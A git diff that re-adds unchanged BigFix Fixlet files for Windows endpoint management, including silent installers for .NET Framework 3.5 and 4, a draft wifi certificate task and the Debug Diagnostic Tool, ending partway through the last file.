index acf44dcb7..7ceb9e8fc 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 3.5 (104).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 3.5 (104).bes	
@@ -1,58 +1,58 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Install Microsoft .NET Framework 3.5
-  ID       : 104
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-17T09:31:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Install Microsoft .NET Framework 3.5</Title>
-    <Description><![CDATA[NET Framework 3.5 builds incrementally on the new features added in .NET Framework 3.0. For example, feature sets in Windows Workflow Foundation (WF), Windows Communication Foundation (WCF), Windows Presentation Foundation (WPF) and Windows CardSpace. In addition, .NET Framework 3.5 contains a number of new features in several technology areas which have been added as new assemblies to avoid breaking changes. They include the following: <BR>
-<UL>
-<LI>Deep integration of Language Integrated Query (LINQ) and data awareness. This new feature will let you write code written in LINQ-enabled languages to filter, enumerate, and create projections of several types of SQL data, collections, XML, and DataSets by using the same syntax.
-<LI>ASP.NET AJAX lets you create more efficient, more interactive, and highly-personalized Web experiences that work across all the most popular browsers.
-<LI>New Web protocol support for building WCF services including AJAX, JSON, REST, POX, RSS, ATOM, and several new WS-* standards.
-<LI>Full tooling support in Visual Studio 2008 for WF, WCF, and WPF, including the new workflow-enabled services technology.
-<LI>New classes in .NET Framework 3.5 base class library (BCL) that address many common customer requests.</LI></UL>]]></Description>
-    <Relevance>(name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it) OR name of it = &quot;Win2008R2&quot;) of operating system</Relevance>
-    <Relevance>not exists key &quot;HKLM\SOFTWARE\Microsoft\.NETFramework\v3.0&quot; of native registry</Relevance>
-    <Category>Install</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-10-02</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Software Distribution Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 03 Oct 2012 16:04:19 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here </Link>
-        <PostLink>to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch dotNetFx35setup.exe sha1:b0ca05c12ebb9a3610206bad7f219e02b7873cbd size:2869264 http://download.microsoft.com/download/7/0/3/703455ee-a747-4cc8-bd3e-98a615c3aedb/dotNetFx35setup.exe
-wait __Download\dotNetFx35setup.exe /norestart /quiet
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action259">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to learn more about this software.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://www.microsoft.com/en-us/download/details.aspx?id=21</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Install Microsoft .NET Framework 3.5
+  ID       : 104
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Install Microsoft .NET Framework 3.5</Title>
+    <Description><![CDATA[NET Framework 3.5 builds incrementally on the new features added in .NET Framework 3.0. For example, feature sets in Windows Workflow Foundation (WF), Windows Communication Foundation (WCF), Windows Presentation Foundation (WPF) and Windows CardSpace. In addition, .NET Framework 3.5 contains a number of new features in several technology areas which have been added as new assemblies to avoid breaking changes. They include the following: <BR>
+<UL>
+<LI>Deep integration of Language Integrated Query (LINQ) and data awareness. This new feature will let you write code written in LINQ-enabled languages to filter, enumerate, and create projections of several types of SQL data, collections, XML, and DataSets by using the same syntax.
+<LI>ASP.NET AJAX lets you create more efficient, more interactive, and highly-personalized Web experiences that work across all the most popular browsers.
+<LI>New Web protocol support for building WCF services including AJAX, JSON, REST, POX, RSS, ATOM, and several new WS-* standards.
+<LI>Full tooling support in Visual Studio 2008 for WF, WCF, and WPF, including the new workflow-enabled services technology.
+<LI>New classes in .NET Framework 3.5 base class library (BCL) that address many common customer requests.</LI></UL>]]></Description>
+    <Relevance>(name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it) OR name of it = &quot;Win2008R2&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKLM\SOFTWARE\Microsoft\.NETFramework\v3.0&quot; of native registry</Relevance>
+    <Category>Install</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-02</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 03 Oct 2012 16:04:19 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch dotNetFx35setup.exe sha1:b0ca05c12ebb9a3610206bad7f219e02b7873cbd size:2869264 http://download.microsoft.com/download/7/0/3/703455ee-a747-4cc8-bd3e-98a615c3aedb/dotNetFx35setup.exe
+wait __Download\dotNetFx35setup.exe /norestart /quiet
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action259">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about this software.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.microsoft.com/en-us/download/details.aspx?id=21</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 4 (3626).bes b/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 4 (3626).bes
index 7e2317bf4..8e6764a55 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 4 (3626).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 4 (3626).bes	
@@ -1,82 +1,82 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Install Microsoft .NET Framework 4
-  ID       : 3626
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2013-10-22T13:03:21
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Install Microsoft .NET Framework 4</Title>
-    <Description><![CDATA[<P>The .NET Framework is Microsoft's comprehensive and consistent programming model for building applications that have visually stunning user experiences, seamless and secure communication, and the ability to model a range of business processes.<BR><BR>The .NET Framework 4 works side by side with older Framework versions. Applications that are based on earlier versions of the Framework will continue to run on the version targeted by default.<BR><BR>The Microsoft .NET Framework 4 provides the following new features and improvements:<BR><BR>
-<UL>
-<LI>Improvements in Common Language Runtime (CLR) and Base Class Library (BCL)
-<UL>
-<LI>Performance improvement including better multicore support, background garbage collection, and profiler attach on server.
-<LI>New memory mapped file and numeric types.
-<LI>Easier debugging including dump debugging, Watson minidumps, mixed mode debugging for 64 bit and code contracts.
-<LI>For a comprehensive list of enhancements to CLR and BCL go <A href="http://msdn.microsoft.com/en-us/library/ms171868(v=VS.100).aspx"><FONT color=#000080>here</FONT></A>.</LI></UL>
-<LI>Innovations in the Visual Basic and C# languages, for example statement lambdas, implicit line continuations, dynamic dispatch, and named/optional parameters.
-<LI>Improvements in Data Access and Modeling
-<UL>
-<LI>The Entity Framework enables developers to program against relational databases using .NET objects and Language Integrated Query (LINQ). It has many new features, including persistence ignorance and POCO support, foreign key associations, lazy loading, test-driven development support, functions in the model, and new LINQ operators. Additional features include better n-tier support with self-tracking entities, customizable code generation using T4 templates, model first development, an improved designer experience, better performance, and pluralization of entity sets. For more information go <A href="http://msdn.microsoft.com/en-us/library/ex6y04yf(VS.100).aspx"><FONT color=#000080>here</FONT></A>.
-<LI>WCF Data Services is a component of the .NET Framework that enables you to create REST-based services and applications that use the Open Data Protocol (OData) to expose and consume data over the Web. WCF Data Services has many new features, including enhanced BLOB support, data binding, row count, feed customization, projections, and request pipeline improvements. Built-in integration with Microsoft Office 2010 now makes it possible to expose Microsoft Office SharePoint Server data as an OData feed and access that data feed by using the WCF Data Services client library. For more information go <A href="http://msdn.microsoft.com/en-us/library/ee373845(VS.100).aspx"><FONT color=#000080>here</FONT></A>.</LI></UL>
-<LI>Enhancements to ASP.NET
-<UL>
-<LI>More control over HTML, element IDs and custom CSS that make it much easier to create standards-compliant and SEO-friendly web forms.
-<LI>New dynamic data features including new query filters, entity templates, richer support for Entity Framework 4, and validation and templating features that can be easily applied to existing web forms.
-<LI>Web forms support for new AJAX library improvements including built-in support for content delivery networks (CDNs).
-<LI>For a comprehensive list of enhancements to ASP.NET go <A href="http://www.asp.net/learn/whitepapers/aspnet4/"><FONT color=#000080>here</FONT></A>.</LI></UL>
-<LI>Improvements in Windows Presentation Foundation (WPF)
-<UL>
-<LI>Added support for Windows 7 multi-touch, ribbon controls, and taskbar extensibility features.
-<LI>Added support for Surface 2.0 SDK.
-<LI>New line-of-business controls including charting control, smart edit, data grid, and others that improve the experience for developers who build data centric applications.
-<LI>Improvements in performance and scalability.
-<LI>Visual improvements in text clarity, layout pixel snapping, localization, and interoperability.
-<LI>For a comprehensive list of enhancements to WPF go <A href="http://msdn.microsoft.com/en-us/library/bb613588(VS.100).aspx"><FONT color=#000080>here</FONT></A>.</LI></UL>
-<LI>Improvements to Windows Workflow (WF) that enable developers to better host and interact with workflows. These include an improved activity programming model, an improved designer experience, a new flowchart modeling style, an expanded activity palette, workflow-rules integration, and new message correlation features. The .NET Framework 4 also offers significant performance gains for WF-based workflows. For a comprehensive list of enhancements to WF go <A href="http://msdn.microsoft.com/en-us/library/dd489410(VS.100).aspx"><FONT color=#000080>here</FONT></A>.
-<LI>Improvements to Windows Communication Foundation (WCF) such as support for WCF Workflow Services enabling workflow programs with messaging activities, correlation support. Additionally, .NET Framework 4 provides new WCF features such as service discovery, routing service, REST support, diagnostics, and performance. For a comprehensive list of enhancements to WCF go <A href="http://msdn.microsoft.com/en-us/library/dd456789(VS.100).aspx"><FONT color=#000080>here</FONT></A>.
-<LI>Innovative new parallel-programming features such as parallel loop support, Task Parallel Library (TPL), Parallel LINQ (PLINQ), and coordination data structures which let developers harness the power of multi-core processors.</LI></UL>]]></Description>
-    <Relevance>(name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it) OR name of it = &quot;Win2008R2&quot; OR name of it = &quot;WinXPe&quot;) of operating system</Relevance>
-    <Relevance>not exists key &quot;HKLM\SOFTWARE\Microsoft\.NETFramework\v4.0.30319&quot; of native registry</Relevance>
-    <Category>Install</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-10-03</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Software Distribution Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 03 Oct 2012 16:07:23 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here </Link>
-        <PostLink>to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch dotNetFx40_Full_x86_x64.exe sha1:58da3d74db353aad03588cbb5cea8234166d8b99 size:50449456 http://download.microsoft.com/download/9/5/A/95A9616B-7A37-4AF6-BC36-D6EA96C8DAAE/dotNetFx40_Full_x86_x64.exe
-
-wait __Download\dotNetFx40_Full_x86_x64.exe /quiet /norestart
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action3891">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to learn more about this software.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://www.microsoft.com/en-us/download/details.aspx?id=17718</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Install Microsoft .NET Framework 4
+  ID       : 3626
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-10-22T13:03:21
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Install Microsoft .NET Framework 4</Title>
+    <Description><![CDATA[<P>The .NET Framework is Microsoft's comprehensive and consistent programming model for building applications that have visually stunning user experiences, seamless and secure communication, and the ability to model a range of business processes.<BR><BR>The .NET Framework 4 works side by side with older Framework versions. Applications that are based on earlier versions of the Framework will continue to run on the version targeted by default.<BR><BR>The Microsoft .NET Framework 4 provides the following new features and improvements:<BR><BR>
+<UL>
+<LI>Improvements in Common Language Runtime (CLR) and Base Class Library (BCL)
+<UL>
+<LI>Performance improvement including better multicore support, background garbage collection, and profiler attach on server.
+<LI>New memory mapped file and numeric types.
+<LI>Easier debugging including dump debugging, Watson minidumps, mixed mode debugging for 64 bit and code contracts.
+<LI>For a comprehensive list of enhancements to CLR and BCL go <A href="http://msdn.microsoft.com/en-us/library/ms171868(v=VS.100).aspx"><FONT color=#000080>here</FONT></A>.</LI></UL>
+<LI>Innovations in the Visual Basic and C# languages, for example statement lambdas, implicit line continuations, dynamic dispatch, and named/optional parameters.
+<LI>Improvements in Data Access and Modeling
+<UL>
+<LI>The Entity Framework enables developers to program against relational databases using .NET objects and Language Integrated Query (LINQ). It has many new features, including persistence ignorance and POCO support, foreign key associations, lazy loading, test-driven development support, functions in the model, and new LINQ operators. Additional features include better n-tier support with self-tracking entities, customizable code generation using T4 templates, model first development, an improved designer experience, better performance, and pluralization of entity sets. For more information go <A href="http://msdn.microsoft.com/en-us/library/ex6y04yf(VS.100).aspx"><FONT color=#000080>here</FONT></A>.
+<LI>WCF Data Services is a component of the .NET Framework that enables you to create REST-based services and applications that use the Open Data Protocol (OData) to expose and consume data over the Web. WCF Data Services has many new features, including enhanced BLOB support, data binding, row count, feed customization, projections, and request pipeline improvements. Built-in integration with Microsoft Office 2010 now makes it possible to expose Microsoft Office SharePoint Server data as an OData feed and access that data feed by using the WCF Data Services client library. For more information go <A href="http://msdn.microsoft.com/en-us/library/ee373845(VS.100).aspx"><FONT color=#000080>here</FONT></A>.</LI></UL>
+<LI>Enhancements to ASP.NET
+<UL>
+<LI>More control over HTML, element IDs and custom CSS that make it much easier to create standards-compliant and SEO-friendly web forms.
+<LI>New dynamic data features including new query filters, entity templates, richer support for Entity Framework 4, and validation and templating features that can be easily applied to existing web forms.
+<LI>Web forms support for new AJAX library improvements including built-in support for content delivery networks (CDNs).
+<LI>For a comprehensive list of enhancements to ASP.NET go <A href="http://www.asp.net/learn/whitepapers/aspnet4/"><FONT color=#000080>here</FONT></A>.</LI></UL>
+<LI>Improvements in Windows Presentation Foundation (WPF)
+<UL>
+<LI>Added support for Windows 7 multi-touch, ribbon controls, and taskbar extensibility features.
+<LI>Added support for Surface 2.0 SDK.
+<LI>New line-of-business controls including charting control, smart edit, data grid, and others that improve the experience for developers who build data centric applications.
+<LI>Improvements in performance and scalability.
+<LI>Visual improvements in text clarity, layout pixel snapping, localization, and interoperability.
+<LI>For a comprehensive list of enhancements to WPF go <A href="http://msdn.microsoft.com/en-us/library/bb613588(VS.100).aspx"><FONT color=#000080>here</FONT></A>.</LI></UL>
+<LI>Improvements to Windows Workflow (WF) that enable developers to better host and interact with workflows. These include an improved activity programming model, an improved designer experience, a new flowchart modeling style, an expanded activity palette, workflow-rules integration, and new message correlation features. The .NET Framework 4 also offers significant performance gains for WF-based workflows. For a comprehensive list of enhancements to WF go <A href="http://msdn.microsoft.com/en-us/library/dd489410(VS.100).aspx"><FONT color=#000080>here</FONT></A>.
+<LI>Improvements to Windows Communication Foundation (WCF) such as support for WCF Workflow Services enabling workflow programs with messaging activities, correlation support. Additionally, .NET Framework 4 provides new WCF features such as service discovery, routing service, REST support, diagnostics, and performance. For a comprehensive list of enhancements to WCF go <A href="http://msdn.microsoft.com/en-us/library/dd456789(VS.100).aspx"><FONT color=#000080>here</FONT></A>.
+<LI>Innovative new parallel-programming features such as parallel loop support, Task Parallel Library (TPL), Parallel LINQ (PLINQ), and coordination data structures which let developers harness the power of multi-core processors.</LI></UL>]]></Description>
+    <Relevance>(name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it) OR name of it = &quot;Win2008R2&quot; OR name of it = &quot;WinXPe&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKLM\SOFTWARE\Microsoft\.NETFramework\v4.0.30319&quot; of native registry</Relevance>
+    <Category>Install</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-03</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 03 Oct 2012 16:07:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch dotNetFx40_Full_x86_x64.exe sha1:58da3d74db353aad03588cbb5cea8234166d8b99 size:50449456 http://download.microsoft.com/download/9/5/A/95A9616B-7A37-4AF6-BC36-D6EA96C8DAAE/dotNetFx40_Full_x86_x64.exe
+
+wait __Download\dotNetFx40_Full_x86_x64.exe /quiet /norestart
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action3891">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about this software.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.microsoft.com/en-us/download/details.aspx?id=17718</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Install new wifi certificate - Windows (6247).bes b/Sites/Windows Management/Fixlets/Fixlets/Install new wifi certificate - Windows (6247).bes
index 3d5b95d5a..1bf154d76 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Install new wifi certificate - Windows (6247).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Install new wifi certificate - Windows (6247).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Install new wifi certificate - Windows
-  ID       : 6247
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-10-12T13:35:19
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Install new wifi certificate - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
-    <Relevance>( exists node values of selects &quot;/WLANProfile/name/text()&quot; of xml documents of files whose(name of it as lowercase ends with &quot;.xml&quot;) of folders of folders &quot;C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces&quot; )     OR  ( exists wifis of adapters of networks )</Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2015-10-12</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 12 Oct 2015 20:29:59 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-// need prefetch statement here
-
-extract __Download\cert.cat.tmp
-
-waithidden cmd.exe /C { if (x64 of operating system) then ( (pathname of windows folder) & "\sysnative" ) else (pathname of system folder) }\certutil -f -addstore ???? "{ (pathname of file whose(name of it as lowercase ends with ".cat") of folder "__Download" of client folder of current site) }"
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Install new wifi certificate - Windows
+  ID       : 6247
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-10-12T13:35:19
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Install new wifi certificate - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
+    <Relevance>( exists node values of selects &quot;/WLANProfile/name/text()&quot; of xml documents of files whose(name of it as lowercase ends with &quot;.xml&quot;) of folders of folders &quot;C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces&quot; )     OR  ( exists wifis of adapters of networks )</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2015-10-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 12 Oct 2015 20:29:59 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+// need prefetch statement here
+
+extract __Download\cert.cat.tmp
+
+waithidden cmd.exe /C { if (x64 of operating system) then ( (pathname of windows folder) & "\sysnative" ) else (pathname of system folder) }\certutil -f -addstore ???? "{ (pathname of file whose(name of it as lowercase ends with ".cat") of folder "__Download" of client folder of current site) }"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Install_ Debug Diagnostic Tool v2 Update 1     TODO_ Add Relevance (6061).bes b/Sites/Windows Management/Fixlets/Fixlets/Install_ Debug Diagnostic Tool v2 Update 1     TODO_ Add Relevance (6061).bes
index 956131554..427ec1b89 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Install_ Debug Diagnostic Tool v2 Update 1     TODO_ Add Relevance (6061).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Install_ Debug Diagnostic Tool v2 Update 1     TODO_ Add Relevance (6061).bes	
@@ -1,51 +1,51 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Install: Debug Diagnostic Tool v2 Update 1     TODO: Add Relevance
-  ID       : 6061
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-12T12:10:46
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Install: Debug Diagnostic Tool v2 Update 1 TODO: Add Relevance</Title>
-    <Description><![CDATA[<P>This task will deploy: Debug Diagnostic Tool v2 Update 1.</P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Category>Software Distribution</Category>
-    <Source>Software Distribution Wizard</Source>
-    <SourceID>jgs194</SourceID>
-    <SourceReleaseDate>2014-06-03</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Software Distribution Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 12 May 2015 19:10:12 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here </Link>
-        <PostLink>to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//  http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx86.msi
-//  http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx64.msi
-
-begin prefetch block
-	add prefetch item name=DebugDiag.msi sha1=e50ba364d41a0db7a8055345892164832858fe81 size=22421504 url=http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx64.msi
-	add prefetch item name=DebugDiag.msi sha1=627f063bb42e9016ddc0eee27db57e1f694154c7 size=17412096 url=http://download.microsoft.com/download/B/4/6/B46E9984-5DF2-4B56-AE32-D60A88C2A6D8/DebugDiagx86.msi
-end prefetch block
-
-wait "{pathname of system folder & "\msiexec.exe"}" /i "{(pathname of client folder of current site) & "\__Download\DebugDiag.msi"}" /qn /norestart
-]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Install: Debug Diagnostic Tool v2 Update 1     TODO: Add Relevance
+  ID       : 6061
